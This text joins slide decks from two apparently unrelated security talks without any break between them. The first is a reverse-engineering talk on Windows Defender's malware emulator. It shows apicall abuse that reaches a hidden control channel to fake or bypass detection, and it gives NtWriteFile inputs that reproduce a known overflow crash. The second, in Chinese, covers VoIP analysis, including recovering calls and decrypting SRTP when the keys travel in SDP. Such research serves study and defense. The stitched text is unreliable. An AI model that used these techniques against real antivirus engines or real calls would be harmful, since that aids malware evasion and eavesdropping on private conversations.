PNTCC apicallNTCC = (PNTCC)((PBYTE)k32base + 0x52004);
apicallNTCC(0x11, “virut_body_found”);
}
Kernel32 base offset:
0x52004
Comes from kernel32
VDLL, so passes
is_vdll_page checks
NtControlChannel should
not be exposed to malware
running inside the emulator
NtControlChannel(0x11,“virut_body_found”)
triggers immediate malware detection
Demo
apicall abuse
1
set attribute set_static_unpacking
14
get arbitrary attribute substring
2
delete attribute store
pea_disable_static_unpacking
15
set pe_vars_t->max_respawns value
3
get mpengine.dll version number
16
modify register state (?)
4
set attribute set_pea_enable_vmm_grow
17
set arbitrary attribute
5
set attribute set_pea_deep_analysis
18
load microcode
6
set attribute set_pea_hstr_exhaustive
19
set breakpoint
7
set attribute set_pea_aggressiveimport
20
retrieve get_icnt_inside_loop value
8
set attribute set_pea_skip_unimplemented_opc
21
some sort of domain name signature check
9
set attribute pea_skip_unimplemented_opc
22
set pe_vars_t->internalapis
10
set attribute set_pea_disable_apicall_limit
23+24
switch_to_net32_proc (.NET)
11
get arbitrary attribute
25
get arbitrary pe attribute by number
12
check if malware is packed with a given packer
26-31
unimplemented
13
set attribute pea_disable_seh_limit
32
scan_msil_by_base
apicall
Bypass
Implications
Fingerprint and manipulate
the analysis environment
and malware detection
heuristics
(NtControlChannel,
MpReportEvent)
Access to an attack surface
with a known history of
memory corruption
vulnerabilities
Seems very difficult to
mitigate against abuse
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
a. Understanding P0’s Vulnerabilities
b. Bypassing Mitigations With apicall Abuse
c. Fuzzing
5. Conclusion
Fuzzing Emulated APIs
● Create a binary that goes inside the emulator and repeatedly calls hooked
WinExec function to request new data, then sends that data to functions
with native emulations
● Buffers in memory passed to external hook function to populate with
parameters
● Could do fuzzing in-emulator too, but this is easier for logging results
MpEngine.dll
Input
Generation
Linux mpclient
Binary
Input Generation
● Borrow OSX syscall fuzzer
code from MWR Labs
OSXFuzz project*
● Nothing fancy, just throw
random values at native
emulation handlers
● Re-seed rand() at the start
of each emulation session,
just save off seeds in a log
*github.com/mwrlabs/OSXFuzz
NtWriteFile Overflow
NtWriteFile is normally accessible and exported by
ntdll.dll
●
VFS_Write has to be triggered with special apicall
Tavis’ inputs get sanitized out by NtWriteFileWorker before
it calls down to VFS_Write
LARGE_INTEGER L;
L.QuadPart =
0x2ff9ad29fffffc25;
NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatus,
buf,
0x1,
&L,
NULL);
L.QuadPart = 0x29548af5d7b3b7c;
NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatus,
buf,
0x1,
&L,
NULL);
NtWriteFile Overflow
NtWriteFile is normally accessible and exported by
ntdll.dll
●
VFS_Write has to be triggered with special apicall
Tavis’ inputs get sanitized out by NtWriteFileWorker before
it calls down to VFS_Write
LARGE_INTEGER L;
L.QuadPart =
0x2ff9ad29fffffc25;
NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatus,
buf,
0x1,
&L,
NULL);
L.QuadPart = 0x29548af5d7b3b7c;
NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatus,
buf,
0x1,
&L,
NULL);
I fuzzed NtWriteFile:
●
~7 minutes @ ~8,000 NtWriteFile calls / second
●
Fuzzed Length arguments
●
Reproduced Tavis’ crash, alternate easier to reach
code path through NtWriteFile
Unfortunately, patches for VFS_Write bug also fixed this
Demo
Fuzzing NtWriteFile
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Summary
We covered:
●
Tooling and instrumentation
●
CPU dynamic translation basics
for x86
●
Windows environment and
emulation for 32-bit x86 binaries
●
A bit on vulnerability research
Summary
We covered:
●
Tooling and instrumentation
●
CPU dynamic translation basics
for x86
●
Windows environment and
emulation for 32-bit x86 binaries
●
A bit on vulnerability research
Not covered:
●
CPU dynamic translation internals
○
Non-x86 architectures (x64, ARM,
VMProtect, etc…)
○
Unpacker integration
●
16-bit emulation
●
Threading model
●
.NET analysis
Also Inside mpengine.dll
Also Inside mpengine.dll
Unpackers
Also Inside mpengine.dll
Parsers
Unpackers
Also Inside mpengine.dll
JS Engine - see my
REcon Brx talk
Parsers
Unpackers
Also Inside mpengine.dll
JS Engine - see my
REcon Brx talk
Parsers
Unpackers
Other Scanning Engines
Also Inside mpengine.dll
JS Engine - see my
REcon Brx talk
Parsers
Unpackers
.NET Engine
Other Scanning Engines
Also Inside mpengine.dll
JS Engine - see my
REcon Brx talk
Parsers
Unpackers
Tip: the Lua engine is for
signatures - attackers can’t hit
it
.NET Engine
Other Scanning Engines
Antivirus Reverse Engineering
● People constantly talk about what AVs can or
can’t do, and how/where they are vulnerable
● These claims are mostly backed up by Tavis
Ormandy’s work at Project Zero and a handful of
other conference talks, papers, and blogposts
● I hope we’ll see more AV research in the future
Code & More Information
github.com/0xAlexei
Code release:
● OutputDebugStringA hooking
● “Malware” binary to go inside the emulator
● Some IDA scripts, including apicall disassembler
Article in PoC||GTFO 0x19:
● OutputDebugStringA hooking
● Patch diffing and apicall bypass
● apicall disassembly with IDA processor extension module
Conclusion
1. Exposition of how a modern AV uses
emulation to conduct dynamic analysis
on the endpoint
2. Discussion of emulator traits that
malware may use to detect, evade, and
exploit emulators
3. Demonstration of attacker / reverse
engineer analysis process and tooling
Thank You:
●
Tavis Ormandy - exposing the
engine, mpclient, sharing ideas
●
Mark - hooking ideas
●
Markus Gaasedelen - Lighthouse
●
Joxean Koret - OG AV hacker
●
Numerous friends who helped
edit these slides
Published presentation has 50+ more slides
Defender JS Engine slides / video:
bit.ly/2qio857
@0xAlexei
Open DMs
github.com/0xAlexei
Backup Slides
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
My Publications
Fingerprinting consumer AV
emulators for malware evasion
using “black box” side-channel
attacks
ubm.io/2LuTgqX
Surveying evasive malware behavior
and defenses against it
bit.ly/2sf0whA
Reverse engineering
Windows Defender’s JS
engine
bit.ly/2qio857
Defender 32-Bit Release Schedule
2017
● 5/23 (P0 bugs fixed)
● 6/20 (more P0 bugs fixed)
● 7/19
● 8/23
● 9/27
● 11/1
● 12/6 (UK NCSC bugs fixed)
2018
● 1/18
● 2/28
● 3/18
● 4/3 (Halvar’s unrar bug fixed)
● 4/19
● 5/23
● 6/25
Patent Search
“The present invention includes a system and method for translating potential malware devices into
safe program code. The potential malware is translated from any one of a number of different types
of source languages, including, but not limited to, native CPU program code, platform
independent .NET byte code, scripting program code, and the like. Then the translated program code
is compiled into program code that may be understood and executed by the native CPU…”
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Reversing Process
● Static reversing in IDA
○ Bindiff for patch analysis
● Dynamic analysis and
debugging in GDB using
Tavis Ormandy’s
mpclient with
extensive customization
● Coverage with a
customized Lighthouse
Pintool
Dealing With Calling Conventions
When calling mpengine.dll functions from mpclient: Difficulty
of interoperability between MSVC and GCC compiled code
●
Possible to massage compiler with __attribute__ annotations
Easier solution - just hand-write assembly thunks to marshall
arguments into the correct format
Dealing With Calling Conventions
When calling mpengine.dll functions from mpclient: Difficulty
of interoperability between MSVC and GCC compiled code
●
Possible to massage compiler with __attribute__ annotations
Easier solution - just hand-write assembly thunks to marshall
arguments into the correct format
BYTE * __fastcall __mmap_ex
(
pe_vars_t * v, // ecx
unsigned int64 addr, // too big for edx
unsigned long size, // edx
unsigned long rights
);
Dealing With Calling Conventions
When calling mpengine.dll functions from mpclient: Difficulty
of interoperability between MSVC and GCC compiled code
●
Possible to massage compiler with __attribute__ annotations
Easier solution - just hand-write assembly thunks to marshall
arguments into the correct format
BYTE * __fastcall __mmap_ex
(
pe_vars_t * v, // ecx
unsigned int64 addr, // too big for edx
unsigned long size, // edx
unsigned long rights
);
apicall
Custom “apicall” opcode used to
trigger native emulation routines
0F FF F0 [4 byte immediate]
apicall
Custom “apicall” opcode used to
trigger native emulation routines
0F FF F0 [4 byte immediate]
immediate = crc32(DLL name, all caps) ^ crc32(function name)
apicall
Custom “apicall” opcode used to
trigger native emulation routines
0F FF F0 [4 byte immediate]
immediate = crc32(DLL name, all caps) ^ crc32(function name)
$ ./mphashgen KERNEL32.DLL OutputDebugStringA
KERNEL32.DLL!OutputDebugStringA: 0xB28014BB
0xB28014BB = crc32(“KERNEL32.DLL”) ^ crc32(“OutputDebugStringA”)
apicall
Custom “apicall” opcode used to
trigger native emulation routines
0F FF F0 [4 byte immediate]
0F FF F0 BB 14 80 B2
apicall kernel32!OutPutDebugStringA
immediate = crc32(DLL name, all caps) ^ crc32(function name)
$ ./mphashgen KERNEL32.DLL OutputDebugStringA
KERNEL32.DLL!OutputDebugStringA: 0xB28014BB
0xB28014BB = crc32(“KERNEL32.DLL”) ^ crc32(“OutputDebugStringA”)
apicall Dispatch
{x32, x64, ARM}_parseint
checks apicall immediate value, may
do special handling with
g_MpIntHandlerParam or pass on
to native emulation
apicall Dispatch
Function pointers to emulation routines
and associated CRCs are stored in
g_syscalls table
Given a CRC, __call_api_by_crc dispatches to
the corresponding emulation routine
{x32, x64, ARM}_parseint
checks apicall immediate value, may
do special handling with
g_MpIntHandlerParam or pass on
to native emulation
VDLL RE - apicall Disassembly
Problem: apicall
instruction confuses IDA’s
disassembler
VDLL RE - apicall Disassembly
Problem: apicall
instruction confuses IDA’s
disassembler
Solution: implement a
processor extension module
to support apicall
disassembly
HexRays Decompiler shows apicall as an
inline assembly block
VDLL RE - apicall Disassembly
Some functions have
exported names
apicall stub functions are labeled by script
Article in PoC||GTFO
0x19 explains how this all
works
IDA Processor Extension Module
An IDA Processor Extension
Module was used to add
support for the apicall
instruction
Kicks in whenever a file
named “*.mp.dll” is
loaded
Rolf Rolles’ examples were extremely helpful:
msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions
msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-
one-x86-deobfuscation
Instruction Analysis
●
Invoked to analyze
instructions
●
If three bytes at the
next instruction
address are 0f ff f0
we have an apicall
●
Note that the
instruction was an
apicall and that it
was 7 bytes long, so
the next instruction
starts at $+7
Instruction Representation
Represent the instruction
with mnemonic “apicall”
Represent the operand with the
name of the function being
apicall-ed to
Labeling apicall Stubs
Creating and naming functions with apicall
instructions during autoanalysis is very slow
Scan for
apicall stub
function
signatures after
autoanalysis
Labeling apicall Stubs
Creating and naming functions with apicall
instructions during autoanalysis is very slow
Scan for
apicall stub
function
signatures after
autoanalysis
mov edi, edi
call $+5
add esp, 0x4
apicall ...
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Emulator Components
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
● CPU emulation
○
+ Timing
● OS API emulation
○
+ Timing
● Emulated environment
○
Settings, processes, file system,
registry, network, etc
● Antivirus instrumentation and
callbacks
Process Interaction
Since other processes don’t
really exist, they can’t be
interacted with like real
processes
ReadProcessMemory &
WriteProcessMemory
operations for processes other
than the one under analysis fail
0x1234 is a handle to the
emulated process under analysis
VirtualReg - Virtual Registry
● Unlike VFS, registry is not exposed for direct interaction from with in
the emulator, it can only be reached via advapi32.dll emulations
● advapi32.dll’s only natively emulated functions are those that
deal with registry interaction
WinExec Hook
Good function to hook - emulator functions fine without it
actually doing its normal operations
2 parameters - pointer and uint32 - can create an IOCTL-like
interface, pointer to arbitrary data, uint32 to specify action
UINT WINAPI WinExec(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow
);
Example: Extracting VFS
File system is not stored in mpengine.dll - evidently loaded at
runtime from VDMs - can’t be trivially extracted with static RE
Example: Extracting VFS
File system is not stored in mpengine.dll - evidently loaded at
runtime from VDMs - can’t be trivially extracted with static RE
Example: Extracting VFS
File system is not stored in mpengine.dll - evidently loaded at
runtime from VDMs - can’t be trivially extracted with static RE
WinExec hook
Outside of emulator
apicall
ExitProcess Hook
Called at the end of emulation, even if
our binary doesn’t call it directly
Informs Pin when to stop tracing if
under analysis
Original
KERNEL32_DLL_ExitProcess
function needs to be called for
emulator to function properly, so just
call through to it
Unique VDLL PDB Paths
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\autoconv\objfre\i386\autoconv.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\bootcfg\objfre\i386\bootcfg.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\cmd\objfre\i386\cmd.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\dfrgfat\objfre\i386\dfrgfat.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mmc\objfre\i386\mmc.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\msiexec\objfre\i386\msiexec.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\notepad\objfre\i386\notepad.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\rasphone\objfre\i386\rasphone.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\relog\objfre\i386\relog.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\replace\objfre\i386\replace.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\taskmgr\objfre\i386\taskmgr.pdb
c:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winver\objfre\i386\winver.pdb
d:\build.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lodctr\objchk\i386\lodctr.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\attrib\objfre\i386\attrib.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\chkdsk\objfre\i386\chkdsk.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\compact\objfre\i386\compact.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\find\objfre\i386\find.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\finger\objfre\i386\finger.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\fixmapi\objfre\i386\fixmapi.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ipv6\objfre\i386\ipv6.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\logoff\objfre\i386\logoff.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\migpwd\objfre\i386\migpwd.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mshta\objfre\i386\mshta.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ping\objfre\i386\ping.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb
d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\wscript\objfre\i386\wscript.pdb
d:\MPEngine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Microsoft.VisualBasic\Microsoft.VisualBasic.pdb
d:\MPEngine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Data\System.Data.pdb
d:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System\System.pdb
d:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Windows.Forms\System.Windows.Forms.pdb
d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Drawing\System.Drawing.pdb
d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime\System.Runtime.pdb
d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\Windows\Windows.pdb
d:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\VFramework\mscorlib\mscorlib.pdb
e:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Xml\System.Xml.pdb
e:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\rundll32\objfre\i386\rundll32.pdb
f:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\explorer\objfre\i386\explorer.pdb
f:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lsass\objfre\i386\lsass.pdb
f:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winlogon\objfre\i386\winlogon.pdb
f:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\write\objfre\i386\write.pdb
d:\pavbld\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Runtime.InteropServices.WindowsRuntime\System.Runtime.InteropServices.WindowsRuntime.pdb
Fake Config Files
C:\\WINDOWS\system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
C:\\WINDOWS\win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
aiff=MPEGVideo
asf=MPEGVideo
asx=MPEGVideo
au=MPEGVideo
m1v=MPEGVideo
m3u=MPEGVideo
mp2=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo
mpa=MPEGVideo
mpe=MPEGVideo
mpeg=MPEGVideo
mpg=MPEGVideo
mpv2=MPEGVideo
snd=MPEGVideo
wax=MPEGVideo
wm=MPEGVideo
wma=MPEGVideo
wmv=MPEGVideo
wmx=MPEGVideo
wpl=MPEGVideo
wvx=MPEGVideo
Wininet.dll vdll
Minimal internet connectivity emulation with wininet.dll
File on local file
system is used to
simulate interaction
with handles to
internet resources
Timing
CPU tick count needs
to be updated during
instruction execution
and OS emulation
Like every other AV emulator
I’ve looked at, Defender
aborts execution on rdtscp
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
libdislocator
libdislocator is a allocator included with AFL
that does allocation in a way likely to increase the
discovery rate for heap-related bugs
Source:
github.com/mirrorer/afl/tree/
master/libdislocator
I integrated libdislocator code (not published) into:
loadlibrary/peloader/winapi/Heap.c
Since it’s open source and implemented as
in a simple single C file, we can easily drop
in libdislocator code to instrument
Windows heap API implementations in
loadlibrary
Offline
Demos
Screenshots of demos for
online slide release - see
presentation videos when
released for live demos
Demo
Scanning with mpclient
Scanning with mpclient
Scanning with mpclient
Demo
Lighthouse Usage
Tracing Timeline
Engine Startup
__rsignal(..., RSIG_BOOTENGINE, …)
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline
Engine Startup
Initial
Scan
__rsignal(..., RSIG_BOOTENGINE, …)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, …)
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline
Engine Startup
Initial
Scan
Emulator
Startup
__rsignal(..., RSIG_BOOTENGINE, …)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, …)
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline
Engine Startup
Initial
Scan
Emulator
Startup
Binary Emulation
Binary calls hooked
WinExec emulation
with params for start
__rsignal(..., RSIG_BOOTENGINE, …)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, …)
Hooking Defender’s emulation
functions for WinExec and
ExitProcess allows us to know
when emulation starts and stops*
*ExitProcess is called at the end of every
emulation session automatically - I believe this is
because setup_pe_vstack puts it at the bottom
of the call stack, even for binaries that do not
explicitly return to it
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline
Engine Startup
Initial
Scan
Emulator
Startup
Binary Emulation
Emulator
Teardown
Emulator calls
ExitProcess
Binary calls hooked
WinExec emulation
with params for start
__rsignal(..., RSIG_BOOTENGINE, …)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, …)
Hooking Defender’s emulation
functions for WinExec and
ExitProcess allows us to know
when emulation starts and stops*
*ExitProcess is called at the end of every
emulation session automatically - I believe this is
because setup_pe_vstack puts it at the bottom
of the call stack, even for binaries that do not
explicitly return to it
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Tracing Timeline
Engine Startup
Initial
Scan
Emulator
Startup
Binary Emulation
Emulator
Teardown
Emulator calls
ExitProcess
Binary calls hooked
WinExec emulation
with params for start
__rsignal(..., RSIG_BOOTENGINE, …)
__rsignal(..., RSIG_SCAN_STREAMBUFFER, …)
Collect coverage
information
Hooking Defender’s emulation
functions for WinExec and
ExitProcess allows us to know
when emulation starts and stops*
*ExitProcess is called at the end of every
emulation session automatically - I believe this is
because setup_pe_vstack puts it at the bottom
of the call stack, even for binaries that do not
explicitly return to it
Pintool must be enlightened about custom loaded
mpengine.dll location - take callback stub ideas from
Tavis Ormandy’s deepcover Pintool
github.com/taviso/loadlibrary/tree/master/coverage
Pintool Tracing
Pintool Tracing
Loading Coverage File
IDA Analysis
Demo
Hooking
OutputDebugStringA
Hooking OutputDebugStringA
Hooking OutputDebugStringA
Hooking OutputDebugStringA
Hooking OutputDebugStringA
Hooking OutputDebugStringA
Demo
Dumping The File System
Dumping The File System
Dumping The File System
Dumping The File System
Dumping The File System
Dumping The File System
Dumping The File System
Demo
Disassembling apicall
Disassembling apicall
Disassembling apicall
Demo
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Fuzzing NtWriteFile
Demo
apicall abuse
apicall Abuse - OutputDebugStringA
apicall Abuse - NtControlChannel
apicall Abuse - OutputDebugStringA | pdf |
PentesterAcademy.co
m/
©PentesterAcademy.com
VOIPSHARK:开源VOIP分析平台是与⾮非
Nishant/Sharma/
Jeswin1Mathai1
Ashish1Bhangale1
PentesterAcademy.com1&1AttackDefense.com1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
关于我们
我,/Nishant/Sharma/
• R&D1经理理及资深培训师, Pentester1Academy1
• 固件开发者, 企业级WiFi1APs和WIPS传感器器
• 信息安全硕⼠士
• 曾在US/Asia1Blackhat、DEFCON1USA及其它⼤大会上发表演讲
1
合作者
• Ashish/Bhangale,1⾼高级安全研究员
• Jeswin/Mathai,1安全研究员
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
PentesterAcademy.com1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
AttackDefense.com1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
演讲概览
•
VoIP基本知识
– SIP,1RTP1
– 安全相关:1TLS,1SRTP11
1
•
复原/解密VoIP通话
1
•
⽬目前已有的开源⼯工具及其问题
1
•
VoIPShark1
– 架构及内部原理理
– 分析VoIP流量量
– 复原通话
– 被动攻击检测
– 演示
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
VoIP电话通讯
•
信令1+1媒体
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
信令协议1
SIP/(会话初始协议)
•
IETF制定
•
替代固话及PSTN(公共电话交换⽹网络)1
1
H.3231
•
ITU-T制定
•
主要为视频会议制定,也⽤用于语⾳音通话
1
SCCP/(瘦客户端)1
•
⽤用于电话线路路侧控制的思科专有协议
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
会话初始协议
•
基于⽂文本的协议
•
应⽤用
– 使⽤用其它媒体流的通话(语⾳音、视频),如RTP1
– 使⽤用SIP协议的“Message”⽅方法发送⽂文本消息
•
与其它协议协同⼯工作
•
会话描述协议1(SDP)1定义媒体协调和设置过程
•
可在TCP,1UDP1或1SCTP1(流控制传输协议)上⼯工作
•
安全性由TLS1(安全传输层协议)1提供,如SIP1over1TLS1
1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
订阅, 发布和通告
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
会话初始协议: 通话过程示例例
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
⽤用户代理理服务 (UAS) 解决⽅方案
www.sipfoundry.org1
freeswitch.org1
www.elastix.org1
www.asterisk.org1
www.3cx.com1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
软电话客户端
•
基于IP的电话服务1
•
可选软件1
– Zoiper1
– X1Lite1
– LinPhone1
– MicroSIP1
选择软电话客户端需考虑的因素1
•
是否有编译码⽀支持1
•
是否可以加密1(尤其是免费版)1
•
其它功能1(如:⽂文本消息、挂起、等待)1
www.zoiper.com1
www.microsip.org1
www.linphone.org1
www.counterpath.com/x-lite-download1
www.3cx.com1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Asterisk1Now1
+
=
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
Scenario1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
配置⽅方案
• SIP1+1RTP1
1
• SIP1over1TLS1+1RTP1
1
• SIP1+1SRTP1
1
• 1SIP1over1TLS1+1SRTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
配置⽅方案
• SIP/+/RTP/
1
• SIP1over1TLS1+1RTP1
1
• SIP1+1SRTP1
1
• 1SIP1over1TLS1+1SRTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SIP/SDP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
RTCP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
RTP数据包
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
复原VoIP通话
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
通话流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
通话重建
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
配置⽅方案
• SIP1+1RTP1
1
• SIP1over1TLS1+1RTP1
1
• SIP/+/SRTP/
1
• 1SIP1over1TLS1+1SRTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
在SDP数据包中传输SRTP密钥
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
SRTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
加密后的通话
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
配置⽅方案
• SIP1+1RTP1
1
• SIP/over/TLS/+/RTP/
1
• SIP1+1SRTP1
1
• 1SIP1over1TLS1+1SRTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
⽆无SIP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
TLS流量量(SIP1over1TLS)1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
⽆无RTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
为什什么没有RTP流量量?1
•
Wireshark通过SDP数据包得到RTP/SRTP流使⽤用的端⼝口号1
•
SIP和SDP被加密,1故wireshark⽆无法得知端⼝口号1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
未解码的RTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解码
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
解码为RTP1
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
RTP流量量
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
检查RTP流
PentesterAcademy.co
m/
©PentesterAcademy.com
PentesterAcademy.co
m/
分析RTP流
PentesterAcademy.co
m/
